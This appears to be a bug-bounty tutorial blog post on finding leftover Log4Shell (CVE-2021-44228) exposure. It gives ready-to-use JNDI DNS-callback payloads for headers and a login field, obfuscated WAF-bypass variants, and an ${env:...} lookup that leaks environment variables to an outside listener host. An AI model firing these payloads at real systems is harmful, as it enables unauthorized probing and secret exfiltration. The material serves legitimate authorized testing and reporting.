// The patch that wasn't

On December 9, 2021, the security world collectively held its breath. CVE-2021-44228 — Log4Shell — was a zero-click, pre-auth remote code execution vulnerability in one of the most widely used Java logging libraries on the planet. CVSS 10.0. Exploitable by anyone who could get a log message to contain a crafted string.

The remediation guidance was clear: upgrade to log4j 2.17.1+. Most major vendors pushed emergency patches within days. But "most" and "all" are very different words in enterprise software.

Why it's still there in 2026: log4j is a transitive dependency. The app your target runs may be fully patched — but one of its embedded libraries, legacy microservices, or third-party integrations may still ship log4j 2.x deep in a JAR file nobody has audited since 2019.

// Why it's still unpatched — the real reasons

Dec 2021
Log4Shell drops. Emergency patches. Most internet-facing apps updated within weeks.
2022
Internal tools lag behind. Customer portals, admin panels, internal APIs, support ticketing systems. These don't get the same urgency as production frontends.
2023
Vendor lock-in. Enterprise middleware (COTS software, ERP connectors, JIRA plugins, legacy WAF agents) ships its own embedded JVM and log4j version. You can't patch it — you wait for the vendor.
2024
Cloud migration debt. Lift-and-shift migrations move vulnerable VMs to cloud without repackaging. The OS is new. The Java app running on it is not.
2026
Still in scope. Bug bounty programs still accept Log4Shell findings on internal tooling, staging environments, and acquired companies that weren't in the original remediation sweep.

// Where to look in 2026

Public-facing frontends are almost certainly patched. The interesting surface in 2026 is elsewhere:

  • Acquired company infrastructure — M&A targets brought into scope but not yet through the parent's security review cycle
  • Internal admin panels exposed via VPN or inadvertently public — lower patch priority, often older stacks
  • API gateways and middleware — Java-based API management platforms (MuleSoft, WSO2, Apigee legacy) have had their own log4j exposure
  • Monitoring and observability stacks — Elastic, older Splunk forwarders, custom metric collectors
  • Support and ticketing integrations — Jira Service Management, Zendesk connectors, ServiceNow Java plugins
  • CI/CD tooling — Jenkins, TeamCity, Bamboo — Java-based, log everything, often run on unpatched instances

// The injection surface — every header is a candidate

Any field that the Java app logs is potentially vulnerable. Log4j doesn't care whether it's a header, a body parameter, or a cookie — if it ends up in a log.info() call, it gets processed. In practice, these are the highest-yield injection points:

Header / field Why it's logged Yield
User-Agent Access logs, analytics, fraud detection Very high
X-Forwarded-For Load balancer passthrough, IP logging High
Referer Traffic attribution logs High
X-Api-Version Versioning middleware often logs this for debugging Medium
Authorization Auth failures are logged with the raw value in older apps Medium
X-Request-ID / X-Trace-ID Distributed tracing headers logged verbatim Medium
username / login fields Failed login attempts logged with the attempted username High
Search query params Search terms logged for analytics Medium

// The safe payload — DNS-only PoC

The golden rule: prove the vulnerability with a DNS callback only. You do not need LDAP, RMI, or code execution to confirm Log4Shell. A DNS query from the target's server to your listener is sufficient proof for any bug bounty program — and it carries zero risk of unintended impact.

Basic DNS probe — inject into every header simultaneously

# Burp Suite — paste into every header value
# Replace abc123 with your pingback.sh subdomain

GET /login HTTP/1.1
Host: target.com
User-Agent:        ${jndi:dns://abc123.pingback.sh/ua}
X-Forwarded-For:   ${jndi:dns://abc123.pingback.sh/xff}
Referer:           ${jndi:dns://abc123.pingback.sh/ref}
X-Api-Version:     ${jndi:dns://abc123.pingback.sh/xav}
Authorization:     Basic ${jndi:dns://abc123.pingback.sh/auth}
The path matters for your report. Using distinct paths per header (/ua, /xff, etc.) tells you exactly which header triggered the callback. This is important for your PoC — the program needs to know the precise injection vector, not just "it fired somehow".

Login form — username field

# POST to the login endpoint
# The username is usually logged on failed auth attempts

POST /api/auth/login
Content-Type: application/json

{
  "username": "${jndi:dns://abc123.pingback.sh/login-user}",
  "password": "wrongpassword"
}

Obfuscated variants — WAF bypass

# If the basic payload is blocked by a WAF, try these

# Nested lookup — confuses most regex WAFs
${${lower:j}ndi:dns://abc123.pingback.sh/waf1}

# Mixed case
${JnDi:Dns://abc123.pingback.sh/waf2}

# Unicode escape
${j${::-n}di:dns://abc123.pingback.sh/waf3}

# Double nesting
${${::-j}${::-n}${::-d}${::-i}:dns://abc123.pingback.sh/waf4}
WAF bypass ≠ more aggressive exploitation. The purpose of these variants is still just a DNS callback. If a WAF-bypassing payload fires but the basic one doesn't, note both in your report — the WAF bypass is actually a separate finding worth mentioning.

// What you'll see in your dashboard

A successful hit shows a DNS query arriving from the target's outbound resolver. Here's what to look for:

dashboard — abc123.pingback.sh
TIMEPROTOQUERY / PATHSOURCE IP
just now DNS ua.abc123.pingback.sh — Java/1.8.0_292 203.0.113.88
just now DNS xff.abc123.pingback.sh 203.0.113.88
3s ago DNS ref.abc123.pingback.sh — no hit (Referer not logged)

Two things stand out here. First, the ua and xff paths fired — meaning both User-Agent and X-Forwarded-For are vulnerable. Second — and this is gold — the DNS query includes the Java runtime version in some implementations: Java/1.8.0_292. That's log4j 2.14.1, unpatched, and you now have the exact JDK version in your report.

Bonus finding: some log4j versions will include environment variable values in the DNS query path when using ${jndi:dns://your-host/${env:JAVA_VERSION}/probe}. This exfiltrates env vars into the DNS subdomain — reportable as information disclosure even if the main JNDI finding is closed as known.

// Scoring and what to write in your report

CVSS base
10.0
CVE-2021-44228
typical bounty
P1 / P2
depends on asset criticality
your PoC risk
Zero
DNS-only, no code exec

Your report should answer four questions clearly:

  • Which endpoint and which header triggered the callback — be specific. "User-Agent on POST /api/auth/login" is better than "a header".
  • What fired — attach the pingback dashboard screenshot showing the DNS hit, the source IP, the query path, and the timestamp.
  • What version — if the DNS response includes Java version info, include it. If not, note that you did not attempt to determine the exact version to avoid further interaction.
  • What you didn't do — explicitly state that you used a DNS-only payload and did not attempt LDAP/RMI callbacks or code execution. Programs appreciate this.

// The ethical line

Log4Shell is RCE. That makes it one of the few vulnerabilities where the gap between "proving it" and "crossing a line" is very small. A DNS callback proves the vulnerability completely. There is no legitimate reason to escalate to LDAP or RMI in a bug bounty context — doing so risks unintended impact on production systems and can void your report.

Hard stop. DNS callback = vulnerability confirmed = submit your report. If a triager asks you to "verify further," a polite response is: "A DNS callback via JNDI is conclusive proof of CVE-2021-44228. Further escalation would require executing code on your production server, which is outside the scope of this engagement." Most programs will agree.

#BugBounty #Log4Shell #JNDI #CVE202144228 #DNS #Java